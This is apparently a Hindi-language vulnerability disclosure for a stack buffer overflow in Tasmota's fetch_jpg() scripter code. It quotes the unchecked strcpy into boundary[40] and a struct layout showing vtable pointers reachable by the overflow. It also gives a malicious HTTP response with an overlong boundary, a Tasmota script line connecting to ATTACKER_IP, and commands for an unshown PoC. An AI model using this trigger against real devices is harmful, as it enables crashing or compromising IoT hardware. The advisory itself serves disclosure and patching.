
CVE-2026-38426 — Tasmota fetch_jpg() boundary[40] में strcpy() स्टैक बफ़र ओवरफ़्लो (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
गंभीरता: गंभीर (CVSS 9.8)
उत्पाद: Arendst Tasmota
प्रभावित संस्करण: <= 15.3.0.3
फ़ाइल: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
फ़ंक्शन: fetch_jpg() — केस 0 (प्रारंभिक कनेक्शन)
लेखक: Saidakbarxon Maxsudxonov
प्रकटीकरण: जिम्मेदारीपूर्ण — प्रकाशन से पहले Tasmota को सूचित किया गया
Tasmota के स्क्रिप्टर ड्राइवर के fetch_jpg() फ़ंक्शन में एक क्लासिक strcpy() बफर ओवरफ्लो भेद्यता मौजूद है। HTTP Content-Type रिस्पॉन्स हेडर से निकाली गई MJPEG बाउंड्री स्ट्रिंग को बिना किसी लंबाई सत्यापन के एक निश्चित 40-बाइट बफर (boundary[40]) में कॉपी किया जाता है। MJPEG HTTP सर्वर को नियंत्रित करने वाला हमलावर 39 वर्णों से लंबी बाउंड्री स्ट्रिंग प्रदान करके बफर को ओवरफ्लो कर सकता है और आसन्न हीप मेमोरी को दूषित कर सकता है — संभावित रूप से ESP32 पर रिमोट कोड निष्पादन (RCE) प्राप्त कर सकता है।
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
WiFiClient या HTTPClient vtable पॉइंटर को हमलावर-नियंत्रित मान से अधिलेखित करने पर, जब भी कोई वर्चुअल मेथड (read(), write(), connect()) बाद में कॉल की जाती है, RCE ट्रिगर होता है।
हमलावर एक HTTP सर्वर चलाता है जिससे Tasmota fetchjp() के माध्यम से कनेक्ट होता है। सर्वर 39 वर्णों से लंबी बाउंड्री स्ट्रिंग वाले Content-Type हेडर के साथ प्रतिक्रिया देता है:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tasmota का strcpy() 50+ बाइट्स को 40-बाइट boundary बफर में कॉपी करता है, जिससे आसन्न स्ट्रक्चर फ़ील्ड्स में ओवरफ्लो हो जाता है।
Tasmota स्क्रिप्ट के माध्यम से ट्रिगर करें:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
पूर्ण कार्यान्वयन के लिए CVE-2026-38426_poc.py देखें।